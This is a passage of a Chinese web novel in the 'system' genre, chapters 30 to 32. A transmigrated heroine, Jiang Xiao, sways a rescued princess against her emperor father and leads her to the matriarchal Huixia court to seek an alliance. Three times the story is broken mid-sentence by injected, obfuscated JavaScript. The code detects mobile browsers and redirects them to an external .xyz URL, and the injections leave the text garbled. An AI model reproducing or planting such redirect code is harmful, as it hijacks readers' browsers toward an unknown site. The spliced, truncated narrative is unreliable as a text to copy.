她敛目正色:“我自小就在西陲,所以对回夏和依兹略有了解。自从传出昭国要和依兹和亲的消息,回夏便坐不住了。眼看和亲队伍马上要来到丹州,可回夏偏偏近日来在贺兰山作乱,我哥带着苍狼军前去杀敌剿匪,战势却一拖再拖,我便察觉其中有诈…… “于是,我就日日等在和亲队伍必然会经过的望风峡,果然让我等到了。不过我发现护卫队伍的雪靴不是昭国的样式,就猜到你可能会有危险,所以也不管三七二十一,先把你救出来再说!” 昭离听完后,脸上疑云未消,问道:“那些回夏贼人,你为什么不把他们杀了?” “我跟我哥不一样。我不杀人,我也不喜欢打仗。” 姜婋握紧药碗:“战争是男人扬名立万的方式,也是男人与男人建立联结的机会,成为朋友或敌人,成为胜者或败寇。可战争偏偏与女人无关,但女人吃尽了战争的苦,却得不到战争胜利的果实。况且打来打去,最后受苦的都是两国百姓……” “不愿打仗,所以就要派公主去和亲吗?” 姜婋听出昭离这句话中潜藏的怨怼,她抬起头看着昭离道。 “公主,造成大昭今日之困局,且逼迫你去和亲的,是你那昏庸无能的皇帝老爹!” 昭离闻言脸色一变,怒声呵斥:“住口!你竟敢如此出言不逊,我父皇是天子,岂容你肆意诋毁?!” “那你要再用金钗刺我一下吗?” 昭离一怔,顿了顿道:“你毕竟救了我,我便不与你计较妄议圣上之罪。等你伤势好了,我们便动身去丹州吧。” 姜婋忙道:“万万不可!” 昭离眉眼如利剑出鞘:“为何不可?” “公主,你知道有多少人想要你死吗?” 姜婋撑起身体:“若是回夏人知道你被救走,必然要赶尽杀绝,你觉得他们会往哪追?” 昭离眼神一凛:“丹州。” “没错,丹州沿路此刻定布满了回夏伏兵。” 昭离又道:“那我们回兴都!” 姜婋摇头:“你身为和亲公主,中途被回夏人劫走,最后却打道回府。虽是全须全尾的回去了,但对于皇帝来说,你已经没有价值了。那个叫贞洁的东西,只会要了你的命。一个有污点的公主,有损天家颜面,最后只会被赐下一条白绫或是一杯毒酒。” “不会的!” 昭离旋即摇头否认:“父皇说过,我是他最宠爱的女儿!” 姜婋冷笑:“最宠爱的女儿流落民间十年,他不管不问,要和亲之时倒是倾举国之力寻你,这是爱吗?” 昭离颤声道:“父皇说,这是为了昭国,这是独一无二的荣耀……” “这么好的荣耀,他怎么不去和亲呢?依兹首领宰牙的母亲尚在,他去了还能给宰牙当爹呢!” 昭离语塞:“父皇说,他说……” 姜婋打断:“公主,男人说什么话你都不要信,尤其是像你父亲这种处在权力上位的老登。他有太多的孩子,多一个少一个对他来说都不重要,唯一重要的是他的权柄。遥想你出生之日,他觉得你不祥,便可下令杀你。今日你有了利用价值,他对你的恩宠不过是为了把你养的身娇肉贵,届时再向依兹首领卖个好价钱!” “你胡说!” 昭离虽在反驳,但语气渐弱:“……等父皇知道我被回夏歹人抓走,他定会为我讨回公道。” “如何讨回?出兵回夏吗?” 姜婋摇了摇头:“就算他真的为你出兵,等大昭和回夏打得两败俱伤之际,依兹定会从中坐收渔翁之利,到时候你就是一个亡国公主了。” 昭离此刻面如霜雪,颤声质问:“照你这么说,我横竖都是一死,那你为何要救我?还不如让我被回夏人抓去杀了!” “公主……” 姜婋声音放缓,眼底燃起微光:“我们刚刚说的结果,有一个前提,就是你要被迫和亲。若抹去这个前提,你当然有别的路可以选。” “什么路?” 姜婋沉口气,朗声道:“灭了依兹,回到大昭,那时候你就不仅仅是公主,而是大昭的功臣!” 昭离难以置信:“你在说什么天方夜谭?” “世人之所以称某事为天方夜谭,并非因其荒诞无稽,而是因为它超出了固有的认知边界。” 姜婋说着强撑身体站了起来,一步步走向案边,用手指笼住一盏烛火。 “就像此刻,你脑中的想法如同被烛光照亮的角落,光亮所至,皆是理所当然,而光亮之外,则是未知。若你推开门扉,秉烛走出便会发现,那被斥为荒谬的想法,只是未被照亮的可能。公主,你能做到的事情远比你想象得多。就算是天方夜谭,也会有实现的那天!” 她摸了摸胸前伤口处的花叶:“你看,你尚未踏足西陲之前,也不知道有一种花叫女贞花,它可以外敷治病,内服解毒。就像你遇见我之前,你也不知道,或许你的人生还有另一条路,你可以成就一番事业,成为一个了不起的传奇。” 听到这番话,昭离内心深处猛然一震。 那一豆烛火宛如点燃了冥冥之中的命运引线,只是那火苗尚且幽微,未成燎原之势。 姜婋见昭离神色变化,想必大受冲击,便婉言道:“公主,不如我们打个赌吧。” “赌什么?” “赌你在你皇帝老爹的眼中到底价值几何?想必过不了几日,公主和亲车队遇袭的消息便会传到兴都。到时候我们看看皇帝做何选择?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687369|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭离一脸笃定:“父皇他一定会派人救我!” 姜婋笑了笑:“那当然是最好不过了。但结果未出之前,我们就暂且留在风沙渡,这里龙蛇混杂反而更安全。况且,等我哥从贺兰山赶回来也需要两三日,我们就静候兴都的消息吧?” 昭离嘴唇紧绷,冷眉一蹙,点了点头。 夜深如水,帷帐低垂,窗外的月光映照出床榻上的两道身影。 姜婋因伤口又疼又痒难以入眠,脑中的系统突然开口:“玩家,你今日之言未免操之过急了。” 姜婋用心流回应:“系统,你说话怎么也开始文绉绉了。” 话音未落,周围景象又回到了熟悉的心流世界。 360度环形屏幕上,波动着系统的音频。 “为了陪玩家更好的融入这一副本,我也研读了几本古代小说。只是,你今日之言,恐怕伤了公主的心。” 姜婋叹气:“常言道,沉疴还得重剂医。我这是在给女主下一剂猛药。小说里公主决定反击她那个皇帝老爹,是在顾将军打完仗两年之后,我可等不了那么久。不过我倒是觉得奇怪,女主自幼无父无母,是被厨娘带大,跟那个皇帝老爹只团聚了半年,怎么就生出这般深刻的父女之情呢?” 系统:“玩家,既然浪漫爱是父权制为女性量身打造的‘补偿性止痛药’,那么这个虚假乌托邦运作的底层机制,就是维护且遵从父权制。这一点,在以古代为背景的小说中尤为突出。 “这正是浪漫爱世界最古老、最稳定且最隐蔽的——「三从四德法则」。三从为,女主未嫁从父、既嫁从夫、夫死从子。四德为,妇德、妇言、妇容、妇功。” 姜婋拧眉:“这不就是封建糟粕吗?” 系统:“没错。所以在这一副本中,女主除了受到「男主光环buff附体法则」和「女主必为男主心动法则」的制约,还有最关键的「三从四德法则」。” 姜婋扶额讽刺:“这父权制下的浪漫爱为了搞死女主,还真是煞费苦心。” 系统:“所以,玩家你要挑战的每一个副本,都会难度升级。” 姜婋分析道:“那这个副本中,最难攻破的其实是「三从四德法则」了?” 系统:“正是。毕竟在《弑皇女帝》中,女主的人生之路是称帝,那必然要向父权、皇权发出挑战,与之对抗的正是「三从四德法则」中的‘未嫁从父’这一条。” 姜婋恍然大悟:“难怪了,就算皇帝老爹送女主去和亲献祭,她也还是维护那个始作俑者。” 系统:“玩家,你要知道,一个人越缺什么便会越渴望什么。就好比一个在沙漠中苦行许久之人,偶然看到一片甘霖,你告诉她这水有毒,她也会甘之如饴。况且女主这位父亲可不是普通人,而是当朝的皇帝。既然要利用她和亲,那在此之前,必然要大献殷勤,让她甘愿赴死。” “我明白了,皇帝老登给公主灌了一口好蜜糖,让她至今沉醉其中。缺爱的本质是失权,而皇帝乃是最有权力之人,赏赐恩宠加上「三从四德法则」,几番连招下来,任谁都会认知失调……” 姜婋说着,不禁皱起眉头:“细细想来,昭离这个女主角着实受了不少苦,一出生便差点小命不保,在湖州的日子也是历尽苦难……我总用‘称帝’的标签来定义她,却忽略了此刻的她,只是个十五岁的小姑娘。我十五岁的时候在干嘛……” 她苦笑叹息:“那时的我还在看言情小说,我又怎么能苛责她呢?” 一瞬间,黑暗退去,心流世界消失。 姜婋躺在床上,翻了个身,目光落在身旁人的背影上,心中五味杂陈:“看来今日的话确实有些重了……” 想到这里,姜婋悄然拢起被角盖到昭离的肩头。 而那一侧,昭离也并未睡着,她眼眶湿润,好似刚哭过一场。 30.05 过了几日,姜婋的身体恢复的差不多了,好在那金钗刺的浅,外加这五年她日日锻炼,身体机能大胜从前。 见昭离整日待在客栈愁容不散,姜婋便提议去风沙渡集市逛逛。 昭离本来担心暴露行踪,但来到热闹的集市后,瞬间抛去顾虑。 因为这里地处三国交界,异族混居,形色各异之人太多了。 姜婋依旧是女扮男装,昭离入乡随俗,在脸上蒙了一层面纱,正好可以隐藏身份。 集市中央,一处围满人的摊位上,悬挂着各式各样的战利品,有狼牙串成的项链、兽皮制成的护腕、异族香料,还有些珍稀的小饰物。 在摊主的吆喝声中,几个孩童正轮番射击,但能准确射中的寥寥无几。 昭离生在兴都,长在水乡湖州,哪里见过这等西域的小玩意,站在摊位前顿时走不动了。 姜婋问道:“你想试试吗?” 昭离眼中跃跃欲试,又迟疑了一瞬。她习惯了谨慎小心,尤其是在异乡之地,但令她意外的是,那些高鼻深目的异族人并未对她投来敌意,反而笑着鼓励她试试。 昭离用指尖拨了下弓弦:“可是我不会射箭……” 姜婋了然一笑:“不是还有我吗?” 说罢,她随手抛了几枚铜钱给摊主,接过一支圆头木箭递给昭离:“我来教你。” 她移步站到昭离身后,抬手握住她的手腕。 昭离自幼便很少与人亲近,下意识地想要躲开时,耳畔传来姜婋的问询:“你想要哪个?狼牙吊坠、琉璃珠子,还是……” 箭尖顺着二人汇聚的视线,落在最中心的兽骨匕首。 两人默契一笑,用力拉开弓弦。 姜婋刚柔并进的声音响起:“射箭手要稳,眼要准,一旦确定目标,就别犹豫。” 昭离呼吸微滞,握弓瞄准。 “就是现在——” 箭矢破风而出,弦风擦过昭离鬓边的面纱,“铮”地一声正中摊位前的兽骨匕首。 围观的人微微一愣,随即爆发欢呼:“好箭法!” 昭离欢欣鼓舞:“射中啦!我居然这么厉害!”跳跃间,她的面纱款款飘荡,露出忽隐忽现的笑颜。 姜婋心道:“公主果然还是个十五岁的小姑娘,喜怒哀乐藏不住呀。” 几箭下来,昭离射中不少小玩意,两个人抱着战利品,闻着味儿去了不远处的烤肉摊。 西陲之地的羊肉不似中原那般切好小块,上桌的是一大块完整的羊腿。 昭离碰了下,食指被热油烫到,轻轻吹气问道:“这怎么吃啊?” 姜婋一指她怀里的匕首,“用这个。” 见昭离咬着手指发愣,姜婋摇头轻笑,从腰间拔出小刀,将羊腿最嫩的地方切下,拈起那片肉,挑开面纱,送到昭离嘴边。 昭离从未被人这般照顾过,只定定地望着她。 姜婋笑道:“愣什么,快趁热吃了。” 昭离张口衔住,霎时双目闪出星光:“好吃!” 她拿出兽骨匕首,刀锋游走间宛如庖丁解牛,一套动作行云流水,不滞不涩,转眼就把羊腿切得片片分明。 恍惚间,姜婋想到了夏星澜,忙问:“你学过厨艺?” “那倒不是。” 昭离垂下眼眸,语气伤感:“我之前一直在湖州与干娘打鱼为生,客人最爱吃个新鲜,干娘就想到做活鱼片。我和干娘靠着这个手艺攒了些钱,本想跟官府讨一片鱼塘,结果被中间牙人骗了,我干娘也因此一病不起,她在临终前告知了我的身世……” 她顿了顿,涩然道:“我一直以为是因为家里穷,爹娘养不起才把我丢了。没想到我爹竟然是皇帝,他是大昭最富有的人,怎么不愿意要我这个女儿呢?我干娘说,是因为我出生时天象不祥,八字不好,谁养我谁就会倒霉,可不是吗……我娘亲死了,母族被屠,干娘病逝,好不容易认祖归宗,却要离开故土,嫁去他国,又被歹人劫走……” 说着,昭离的眼中泛起泪光。 姜婋握住她的手:“昭离,你有没有想过,这不是你一个人的不幸,而是天下女人的不幸。” 昭离弯刀般的眉眼不解地蹙了蹙。 “所谓认祖归宗,不过是一派胡言。家庭乃至家族,从它诞生的一刻起,便是为男性服务的。男人垄断了这个世界的秩序,皇帝是男人,做官的是男人,再加之子承父业,士农工商各行的话事人皆是男子。女人除了苦难,什么也无法继承。若这世道不改,便会有万千女子如你一般,生来被抛弃,长大后以婚姻为由被贩卖,沦为生子工具,这一生都被吃干抹净。” 姜婋一针见血道:“你遭遇的所有痛苦,不赖什么天象,更不怨你的八字,只因你的那个皇帝老爹!” 在「三从法则」的影响之下,昭离维护道:“我父皇对我很好,他不过是被媚皇后迷惑了……” “你可千万别听这鬼扯之言,你出生时媚皇后还未入宫呢!再说了,你爹自己不动这个心思,谁说也不管用。” 姜婋愤然:“自古以来,世人惯会为天子开脱,什么被女人迷惑,什么听信佞臣谗言,总之怪了所有人,唯独不怪始作俑者那个男人!为何承认一个男人犯错这般困难?” 昭离塌下双肩,无力道:“可父皇毕竟是皇帝,他要为天下着想,想必一定身不由己吧……” 姜婋鼻腔一哼:“他是否身不由己,我不知道,不过等你称帝了,不就知道了?” 昭离忙来捂她的嘴:“你别胡说,我怎么能称帝呢?” “怎么不能?你可知回夏便是女主治国,首领叫‘巫珠’?” 昭离点点头:“我来时看的书中确实写过,而且回夏还有女兵。真没想到,女子体格柔弱还能当兵呢。” “谁说女子体格柔弱了?” 姜婋反驳道:“女子若是体格柔弱,那是因为她自出生起就没有得到好好的照顾。不对!是女宝在娘亲肚子里时就没有被重视。当男孩要喝奶时,母亲会马上喂奶;当女孩要喝奶时,母亲会让她们等待。家里的好吃好喝全都给了儿子,到了女孩这里,只能喂些汤汤水水,吃不到羊肉喝不到牛奶,当然长不壮实了。” “再加之,大昭以白幼瘦为美,贵族女子皆裹脚缠足,路都走不稳如何能奔跑呢?缠足令女子的思维就像她们的脚一样被束缚,这一酷刑早就该被废了!你看我,还不是一个人解决掉了那群回夏护卫,而且我跟我哥单挑,他也未必是我的对手。” 昭离顿时醍醐灌顶:“是啊,我竟忘了我眼前就是一个女将军。” “将军就将军,也不用加女字。” 姜婋挑眉道:“你可知在回夏,她们的称呼官职前不用冠女字,因为默认都是女子。首领叫巫珠,取‘母君’之意;统军叫‘阵母’;老师叫姊师,教我武艺的就是回夏人!” 昭离听得眼神放光:“真是有趣,你再给我多讲讲——” 姜婋嘿然一笑:“咱们也别光顾着聊天,你多吃肉。你边吃我边讲……” 两个人吃着羊肉,姜婋把这五年来搜集的回夏、依兹两国情报一一道来,不知不觉间竟吃完整个羊腿,还灌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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电光火石间,姜婋只好打起太极:“等你见到就知道了。不过,我哥哥很臭!” “啊?” 姜婋面露嫌弃:“他有口臭,身上也臭,披风也臭。唉,总之哪里都臭!” 昭离万万没想到是这个答案,一时笑起来,笑声越过面纱,如风铃般荡漾不绝。 姜婋挠头,自己回答的到底对不对啊?公主怎么这般开心,难道她喜欢臭臭的男人? 就在这时,集市前方一阵骚动。 姜婋警惕起身,远远瞧见是一行身着官袍的差役,正在市集中心的公告板上粘贴榜文。 姜婋递来一个眼神,昭离也起身跟上。 两人穿越围观的人群,终于看清了那则墨迹尚未完全干透的告示: “呜呼哀哉!吾爱女昭离公主今奉国命,远嫁依兹,志在安抚四方。然苍天不佑,公主途中染疾,芳年早逝,实为朕痛心疾首。 今特发此诏,愿天下臣民,共悼斯人。” 刹那间,站在人群中的昭离目光凝定,方才的笑容戛然而止。 她的手微微颤抖,怀中的礼物倏地从指缝中滑落,狼牙挂坠、琉璃珠子散落一地。 告示前围观的人也顿时哗然。 “和亲公主……竟然病死了?” “听闻这公主早年间流落民间,还真是福薄命短啊……” 人群中的议论声依旧不断,但在昭离耳中却渐渐模糊。 她仿佛站在一个被世人遗忘的角落,她已经被最信任的父皇宣告死亡。 一时间,昭离眼中之泪恰似断线之珠,滚滚而落,连面纱都被沾湿了。 姜婋上前一步,揽住她的肩头。 昭离伏在她胸前哽咽道:“我……赌输了……” “不——这是另一种赢。” 姜婋道:“公主已死,但昭离犹在。从现在起,你将决定,你该怎么活。” 31.06 姜婋拉着失魂落魄的昭离从集市回到客栈,在此期间,昭离一语不发。 她那神情,仿佛三魂七魄皆已不在了,整个人只剩下一副朽木躯壳。 无奈之下,姜婋在脑海中问系统:“系统,你能帮我检测到女主此刻心境的变化吗?” 系统:“玩家,女主虽表面平静,但心绪起伏极为剧烈。” 姜婋叹了口气,走过去问道:“你……还好吗?” 昭离没有任何反应。 姜婋明白,此时的昭离一定大受打击。 其实她走这一步棋时,也没料到皇帝老登竟然在连尸首都没找到的情况下,就当众宣布公主死亡。她看着昭离面如死灰的脸,实在不忍逼迫她成为所谓的“皇帝”,毕竟此刻她是一个活生生的人。 姜婋也觉心里酸涩发堵,足足过了半晌才用力咳了一声,劝慰道。 “我知你心中一定很难过,不过这则榜文其实也带来了转机。因为从现在起,公主昭离已经死了,眼下你可以成为任何人,无论你想留在西陲成为牧羊女,还是你想隐姓埋名回湖州继续做打渔姑……总之,天大地大,你想去哪儿做什么,我都支持你,也都会陪着你……” 昭离眼眶含泪,站起身道:“你说的选择都很诱人,但我要回兴都。父皇以为我死了,一定难过极了,我要回去见父皇,告诉他我还活着。” 姜婋大为不解:“你的皇帝老爹在未见尸首的情况下,就昭告天下,公主已死,你居然还对他抱有期待?” 昭离拭去泪痕,轻声辩道:“父皇身在兴都,自然难以洞悉西陲实情。定是府衙谎报,才令父皇误以为我已殒命。若他知我尚在人世,定会龙颜大悦!” 一时间,姜婋脑瓜子嗡嗡响。 她本以为此事会让昭离对皇帝心灰意冷,没想到还是低估了「三从法则」对女主的影响。亦或者说,昭离必须让自己相信,父皇是爱她的,否则她就会失去活下去的欲望。 昭离拭去眼泪,问道:“你之前说过,在我横竖都是死的选择中,还有一条活路——灭了依兹,以功臣的身份回到兴都,对吗?” 姜婋怔愣数秒,点了点头。 “我就要选择这条路!” 姜婋有些震惊:“你确定吗?这是所有选择中最艰难的一条路。” 昭离眼神坚定:“嗯。我不但要回去,我还要堂堂正正,带着功绩回到兴都。我要让父皇知道,我是他最宠爱、最骄傲的女儿!” “可是……”姜婋反而犹豫了。 昭离轻轻拽着她的衣袖,声音恳切:“不是你教我的吗?射箭时手要稳,眼要准,一旦确定目标,就别犹豫。那条最难的路,就是我要走的路。婋婋,请你助我重返兴都,好吗?” 姜婋心中迟疑。 按照通关的主线任务,她确实要帮女主回到兴都,再夺权、弑父、成为母君。可万万没想到,女主想回去的锚点,竟然是为了那个皇帝老爹…… 可她筹谋五年,所做的一切准备,并不是为了让女主角得到她父皇的认可,而是让女主走出自己的人生之路。 但话又说回来,甭管黑猫白猫,抓到耗子就是好猫。 虽然她的计划和昭离的信念南辕北辙,但“重回兴都”这一步,倒是殊途同归。 所谓女性同盟,倒也未必初始就要三观一致,也可和而不同。 不如就走一步看一步,先解决当下的难关再说。 于是,姜婋答应道:“好,公主请放心,我必定护你重返兴都。” 昭离苦笑:“既然公主已死,你就别叫我公主了……” 姜婋问:“那你想让我如何称呼?” 昭离沉吟片刻:“我在湖州时无名无姓,干娘不敢替我起名,唯恐祸及自身。直到被召回宫廷,我的第一个名字便是我的封号——昭离。” 姜婋郑重道:“既如此,从今往后,我便唤你昭离。今日之昭离,已非昔日之昭离。” 昭离轻轻点头,随即正色:“你说的那条路,可有详细谋划?” 姜婋唇角微扬:“实不相瞒,我筹谋五年,等的就是你这一句话。” 昭离心中微震,但还是冷静问出更切实的问题。 “可是,连大昭最精锐的苍狼军都灭不了依兹,你有什么好办法吗?” 姜婋淡然一笑,执起茶盏,轻抿一口道:“解决问题不能光想着打仗,那是男人的想法,女人自然有女人的办法——团结协作。” “和谁合作?” “回夏。” 昭离不解:“可是劫走我的就是回夏歹人,我们去找他们合作,岂不是自投罗网?” 姜婋摇头:“他们想劫走的,是要与依兹和亲的公主,不是一个决心灭了依兹的女人。” “可是,回夏与我们大昭素来不睦,又岂会轻易与我们联手?” “所谓合作,不外乎是目标一致,还有就是,我们能不能给出他们想要的东西……” 姜婋说罢,黑色的眼眸中闪动着势在必得的神采。 另一边,丹州,望风峡。 山谷之中,积雪未融,皑皑白雪中渗着殷红血迹,宛如白刃上的残痕。 顾云铮率领苍狼军奉命来此搜寻公主尸体,可雪泥狼藉中,只见断裂的车辕、碎裂的木片、染血的车帘在风中翻卷,陪嫁品散落一地,唯独不见公主的踪影,甚至连一片衣角都未留下。 顾云铮目光沉冷地扫视四周,心中涌起不安的预感,因为一同消失的还有他的妹妹顾云筱。 他手中紧紧攥住一封信笺,那是姜婋留下的,她在信中写道: “事急矣!今公主被回夏人所劫,顽妹将以没烟峡突围之法,假兄之身,以救公主。若此去不返,五日之后,可于回夏王宫相见。” “真是胡闹……” 眼看士兵们在峡谷中搜寻,却一无所获,顾云铮愈发心焦不安。 这时,他的心腹刘副将来报:“将军,我在马车缝隙中找到了这个!” 顾云铮立即接过,竟是苍狼军内部传递消息用的蜡丸。 他捏碎后里面是一张字条,展开一瞧,熟悉的字迹跃入眼帘—— “哥,三日后回夏王宫见。” 这正是姜婋拉公主下马车时,顺势放入车内的信息。 顾云铮见字条,心中猛然一震,视线随即落在自己掌中的另一封信。字里行间,同样提及“回夏王宫”,只是时间从“五日后”改为“三日后”。 他心中计较,想必筱筱在此处等了两日,方才等到公主和亲的车队,所以时间改为三日后,那今日……不就正是她离开军营,留下书信的五日后! “这丫头,胆大妄为又计谋深远,难不成还真让她救走了公主?” 想到此处,顾云铮心中焦灼渐消,但疑虑更甚。 他翻身上马,朝众将士道:“出发去回夏!” 一时间,战马嘶鸣,苍狼军铁蹄踏破风雪,直奔回夏国都。 这边厢,姜婋和昭离连夜赶路,抵达了回夏都城——木花里。 马蹄甫一踏入城门,顿时黄土飞扬,异域的风吹拂过两人的衣角,带着陌生而危险气息。 姜婋身着当日救公主的那套银色铠甲,戴着面具,继续假扮顾云铮。昭离依旧面纱遮面,只是初来乍到,面纱下的眼睛藏着几分紧张与不安。 昭离明眸流转,观察起来,发现路上商贩、巡逻士兵,大多为面容黝黑、身形矫健的女子。 回夏王宫位于都城之北,高踞在层层台阶之上,朱门高耸,阴影投下,将二人的身影笼罩其中。 姜婋仰头,望向那巍峨的宫门,深吸了一口气。 就在这时,系统提示音响起:“玩家,你已开启故事新主线——「说服巫珠,共抗依兹」。” 姜婋一激灵:“系统,你不发声还好,一提醒,我心里更没底了。” 系统:“玩家,你已为此次见面筹划五年了。” “可即便如此……”姜婋一叹:“此行究竟是探骊得珠还是满盘皆输,我也不得而知。” 因为原著小说中,回夏巫珠托罗沙只有侧面登场,并无正面描写。 在顾云铮率领的苍狼军与依兹铁骑僵持不下之际,回夏忽然派兵相助,这才突破困局,至此苍狼军势如破竹,直捣依兹老巢。 直到第一卷末尾才提及,回夏巫珠和依兹首领的深仇大恨…… 这位着墨不多的巫珠托罗沙,却给当时看小说的姜婋留下了深刻的印象。她还设想过,若以托罗沙为主角写一篇故事,想必也定是跌宕起伏,精彩绝伦。 就在这时,昭离问道:“拜见回夏巫珠,就我们两个人吗?” “对。” 昭离面露忧色:“毕竟这是异国敌营,难道不需要告知你哥哥顾将军?” 姜婋感受到女主的忧虑,虽然她也并无十足把握,但此刻必须展现出信心。 “你放心,我走之前给我哥留了书信,若我们今日走不出这回夏王宫,他也会来营救我们。不过面见巫珠之事,非得我们二人不可。” “为何?” 面具之下,姜婋悠悠道:“因为这是我们女人之间的秘密。” 这声音从面具下传来,虽隔了一层,却好似撞击在昭离的耳膜,荡起一股奇异之感,令她顿时心安。 姜婋随即整理了一下铠甲,脚步沉稳地朝台阶走去。 可还未踏近,宫门前的一排蒙面守卫骤然上前,长刃交错,拦住去路。 领头之人喝问:“来者何人?”闻声应该是女子。 姜婋道:“还请禀告贵国巫珠,大昭苍狼军主将顾云铮,特携大昭公主,求见贵上。” 那领头的守卫讥讽道:“你说你是顾云铮?那怎么不见你的苍狼军?你说她是公主,谁不知大昭公主早就死了,若她是公主,那我还是大昭的皇帝老儿呢!” 昭离上前怒斥:“休得无礼!” 姜婋拉住昭离手腕,示意她稍安勿躁。 在众守卫的讪笑声中,姜婋从怀里抽出一片甲胄的残片,沉声道:“既如此,那便劳请你禀报巫珠,就说——野利娥若回来了。” 一听到这个名字,门口守卫们的笑声戛然而止,登时肃静起来。 “你说谁?” “野利娥若。” 守卫们互相对视,方才出言不逊的那位也立刻毕恭毕敬,她双手接过甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709531|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胄残片道:“劳烦二位在此恭候。” 昭离见她们态度陡转,好奇问道:“你说的那个人是谁?” “你可还记得我跟你说过,我的武艺是跟回夏人学的。野利娥若就是我的姊师,她不仅是回夏赫赫有名的战神,更是如今巫珠托罗沙曾经的挚友。当年野利娥若率领精麻军抗击依兹铁骑,不料遭遇埋伏,在黑水河全军覆没。她被河水冲走,有幸捡回一条命,却再也无颜回到回夏了……” 这般侥幸逃生,但却无法回到故土的遭遇,令昭离一时感同身受,她顿了顿问:“那你交给她们的信物是……” “是刻着野利娥若名字的甲胄残片。” 姜婋解释道:“在回夏,唯一识别阵亡者身份的方式,就是她们身穿的冷锻甲,颈后那片上刻着的名字。” “如此重要之物,怎么会在你手中?” “我去望风峡营救你之前,特意求我姊师交给我的。” “这东西对她来说如此珍贵,她定然很相信你……” 姜婋无比认真道:“这是我对我姊师的承诺,她教授我武艺,我定让她洗去耻辱,重返故土。” 这一刻,昭离心中的震惊难以言喻。 之前听她说筹谋五年,只当是夸张之词。看来跟回夏合作,早已在她心中计划良久,就连与姊师的承诺也谋算在其中。 昭离望向面前之人,她虽与自己年纪相仿,但却练达沉稳,仿若每一步都在她的计划之中……她真的仅仅是顾云铮的妹妹吗? 这时,那通传的守卫折返回来,恭敬道:“两位贵客,巫珠有请,请随我来。” 姜婋和昭离对视一眼,压抑着心中的雀跃和不安,跟随护卫指引,步入巍峨壮丽的宫殿之中。 一行人穿过回夏宫中的长廊,姜婋和昭离暗中观察,这里的建筑不似大昭中轴对称的结构,而是环形布局,象征生命孕育,循环往复。 回夏人崇尚自然母系之力,宫殿绕水而建,装饰皆雕刻着蛇纹、太阳、女贞花等图腾。且不设前朝后宫,而是议居一体。 穿越环形连廊,二人来到一处殿前。 但见门前的男性护卫衣饰华美,眉目英俊,显然是精挑细选的近侍。 踏入殿中,姜婋与昭离的步伐皆是一顿。 空气中弥漫着浓郁的酒香与异域熏香交织的气息,她们的目光越过殿内如水波般飘荡的层层帷幔,只见殿中央,一张云毯堆织的长榻上,几道身影颈首交缠,耳畔萦绕着低哑的笑语。 姜婋挑眉,心中已然对这位巫珠的行事风格有所预感。 倒是昭离瞬间僵在原地,脸颊染上一层绯色,眼神像飘忽乱窜的蝴蝶,不知该落在何处。 守卫通传:“巫珠,人已带到。” 话音未落,一只黄金酒杯从榻上滚落,洒出殷红的美酒,蜿蜒流淌直置姜婋和昭离的脚边。 这时,一只修长的手探出帷幔,勾了一勾。 紧接着,几名衣衫半褪的男子从纱帘中伏地而出,如小兽般争抢着用嘴衔起酒杯,邀功似的围在长榻近前,想得到主人的一丝垂爱。 帷幔掀开,只见巫珠托罗沙倚坐斜歪,姿态慵懒,眉眼间透着凌厉的野性之美,宛如群兽之首的母狮,散发出不容忽视的压迫感。 她接过酒杯,随手拂开那男子,一众面首知趣地俯身离开,眼中仍带着缱绻不舍。 而托罗沙却毫不留恋地站起身,拖着长袍,走向二人。 “今日贵客登门,真是喝酒的好日子。” 她将金杯斟满,棕色的眸子轻佻地扫过姜婋脸上的面具,唇角勾起一抹兴味的笑意。 “久闻顾将军风姿卓卓,不知与我豢养的那一众男宠比起来,是否更胜一筹呢?”她说着递上酒杯。 姜婋心道,若是真的顾将军在此,听见巫珠把他比作面首,恐怕定要气的拔刀相向。巫珠看似要请自己喝酒,不外乎是要一窥面具之下的真容。 “只可惜了——” 姜婋拿过酒杯,摘下面具道:“顾将军并不在此,男宠之事,在下心有余而力不足。” 托罗沙目光一凛:“你又是谁?” 姜婋行礼道:“参见巫珠,在下是顾将军的妹妹,顾云筱。” “有趣。” 托罗沙歪头看向昭离,她耳垂悬着的红玉耳坠,随着她的动作轻晃。 “你是假将军,那她是真公主吗?”问话间,酒杯已递到昭离唇边。 昭离看了一眼姜婋,举杯饮尽。 可这酒辛辣入喉,令她顿时咳出声来:“咳咳咳——我就是被你们差点劫走的昭离公主。” 托罗沙重新懒洋洋地倚坐回榻上,斟满酒杯,轻轻一晃。 “你既已逃出,又为何自投罗网?听说昭国出了告示,公主已香消玉殒,那此刻你又是谁呢?” 闻言,昭离眉眼如雪刃出鞘:“公主已死,而我是浴火重生的昭离,特来和巫珠陛下共谋大计。” “哦?什么大计?” 姜婋朗声道:“我们愿与巫珠联手,共剿依兹,斩杀宰牙!” 话音未落,托罗沙手中的金杯陡然一晃,殷红的酒液溅湿锦缎,似血迹,更似无声的杀意。 32.07 一时间,殿内静默半晌。 忽然,托罗沙笑了笑,声音带着几分嘲弄。 “我记得,你们大昭的皇帝老儿最是胆小如鼠,怎么吃丹药吃得寿命没长,胆量倒是长了?不遣公主和亲,倒派你们二人游说本巫珠共伐依兹?” 昭离不知该如何回答,望向姜婋。 